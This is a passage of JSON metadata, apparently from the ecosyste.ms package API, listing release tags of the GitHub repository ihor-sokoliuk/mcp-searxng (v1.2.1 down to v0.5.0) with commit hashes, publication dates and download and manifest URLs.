ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"da4d43b5123dae694d6bd9c67b8ab2f19ff23cd1","kind":"commit","published_at":"2026-06-07T20:16:38.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.2.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"ca09dc23829117fe5f75fcd680427c34c47191ea","kind":"commit","published_at":"2026-06-05T18:36:12.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.1.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"b1c23277c3a38d3614d2c6ca07b0a68a25e1d41d","kind":"commit","published_at":"2026-06-03T18:54:12.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.1.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.1.0/manifests"},{"name":"v1.0.5","sha":"20bc632d5d87d3289798c3f6803b7f2c02ebd5b9","kind":"commit","published_at":"2026-05-25T23:46:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"65b0cb16cded0f8fa44109a11710d30e0bbe99a3","kind":"commit","published_at":"2026-05-23T19:49:37.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"5927fae2c774f73721efd88066d0e53bc7722fbb","kind":"commit","published_at":"2026-04-05T15:26:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"4edc3d2e6eb902bb7ee75784f5ddda1c6cfc7a56","kind":"commit","published_at":"2026-04-01T22:36:43.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"ee20bfcbdc008e64c80268dc307a401595efba85","kind":"commit","published_at":"2026-04-01T22:00:42.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"c920a349b4353f848e2da5f223f45388a20ea20c","kind":"commit","published_at":"2026-04-01T21:53:25.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.0.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.0.0/manifests"},{"name":"v0.10.5","sha":"7cceda24f2967ea2cbe646ddd6b8ebe7a199344a","kind":"commit","published_at":"2026-04-01T06:38:52.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.5/manifests"},{"name":"v0.10.4","sha":"cf52cbd316e6bdba9d164542e69a34e5f102fa1a","kind":"commit","published_at":"2026-04-01T06:34:28.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.4/manifests"},{"name":"v0.10.3","sha":"563661ce5be002a8a25b147b70f7041667f0be7a","kind":"commit","published_at":"2026-04-01T06:21:07.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.3/manifests"},{"name":"v0.10.2","sha":"e3e6cdfb2768b450ebdd26c8e074921e774cfded","kind":"commit","published_at":"2026-04-01T06:04:59.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"20701ec120576daff43349fbcfca3506fe59eff5","kind":"commit","published_at":"2026-03-30T21:34:20.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"a844ca77fa4711ced8c0533cf1fef9120d66faae","kind":"commit","published_at":"2026-03-21T18:39:23.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.0/manifests"},{"name":"v0.9.2","sha":"b1d8adf420d1712b36483442cf031d54347b2984","kind":"commit","published_at":"2026-03-11T22:48:01.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.9.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.2/manifests"},{"name":"v0.9.1","sha":"ee56d85d513334ca3cd0dc2580d31dc201ba5639","kind":"commit","published_at":"2026-02-22T19:32:10.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.9.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"3efaac235d1cea17f16050e86b8c1c344c1e2287","kind":"commit","published_at":"2026-02-18T23:21:04.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.9.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"4c47b04249c88d5531ed1771c7eb819213cb4864","kind":"commit","published_at":"2025-11-09T22:05:02.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.8.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.8.0/manifests"},{"name":"v0.7.12","sha":"fc76c97ae2665e3d190bc4407934c6b55d3f52ac","kind":"commit","published_at":"2025-11-01T17:40:09.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.12","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.12/manifests"},{"name":"v0.7.11","sha":"1dc6f971a6dcc8613166bc01946f56d3d629a25e","kind":"commit","published_at":"2025-10-29T05:39:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.11","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.11/manifests"},{"name":"v0.7.10","sha":"477f2920527b1e173b9a8958bf822f569219bb1a","kind":"commit","published_at":"2025-10-29T05:37:22.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.10","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.10/manifests"},{"name":"v0.7.9","sha":"3ffb7d6ac540c946024f29ad449ff1c0cf019d0b","kind":"commit","published_at":"2025-10-29T05:24:27.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.9","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.9/manifests"},{"name":"v0.7.8","sha":"42d5f6f56c6fe4f71eb8cb42a8d363c4f36769f2","kind":"commit","published_at":"2025-10-19T20:46:45.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.8","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"04c58bb7b91e3803460cc5c1913255deb773f817","kind":"commit","published_at":"2025-10-19T20:44:21.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.7","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"67dbd7fe6c148aead07b8b6a145d0129176f102e","kind":"commit","published_at":"2025-10-19T20:37:13.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.6","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"e83f814f3d837e638501f4586faf5efa2d6b65e9","kind":"commit","published_at":"2025-10-19T20:34:41.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"20d2f5de6eb64d62d13adb642f29a8ab94ef2d2f","kind":"commit","published_at":"2025-10-19T20:18:54.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"0a4d3f393e9e771fcad0dfe32c40d56fe9830f85","kind":"commit","published_at":"2025-10-19T20:16:09.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"d9f997cf2a617b82f691956a3ceffca54f443b7a","kind":"tag","published_at":"2025-10-19T20:13:26.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"62f0d26df2f186f0c259214f836607cac8b8ede1","kind":"tag","published_at":"2025-10-19T20:12:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"73035fde630b15d0937892953ed6c72ce462738a","kind":"tag","published_at":"2025-09-25T03:58:06.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.0/manifests"},{"name":"v0.6.5","sha":"04109ba6419e4ee9fce08503e9948d18c8616d6a","kind":"tag","published_at":"2025-09-08T20:15:52.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.5/manifests"},{"name":"v0.6.4","sha":"cf8a590d143abb298c7edb50522d0d4ddb3213cb","kind":"tag","published_at":"2025-09-08T18:07:42.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.4/manifests"},{"name":"v0.6.3","sha":"b6aac7df026ca37142a3b94868864e0932573239","kind":"tag","published_at":"2025-09-08T16:38:10.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.3/manifests"},{"name":"v0.6.2","sha":"b75093448fd31a6643ae3d94ff1dd239bdba23bb","kind":"tag","published_at":"2025-09-06T20:56:13.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"6ec6132b63d3003757e8b6b9fe5dfa023f22edae","kind":"tag","published_at":"2025-08-24T19:41:06.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"de7e3f108dd4ce7e9c3a067235f8c0518bba5ff5","kind":"commit","published_at":"2025-08-23T04:49:25.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"f2b4c0f7f4494ec86e6242480dcb789502749d86","kind":"tag","published_at":"2025-08-09T00:51:20.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.5.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"383b32dee5232fdb6e9b241df2271c4a22c7a004","kind":"tag","published_at":"2025-07-07T22:55:51.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.5.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"e2291216e0fb52f8199f8d7c38348a6a1e7ec060","kind":"commit","published_at":"2025-06-02T03:10:07.000Z","download_url":"ht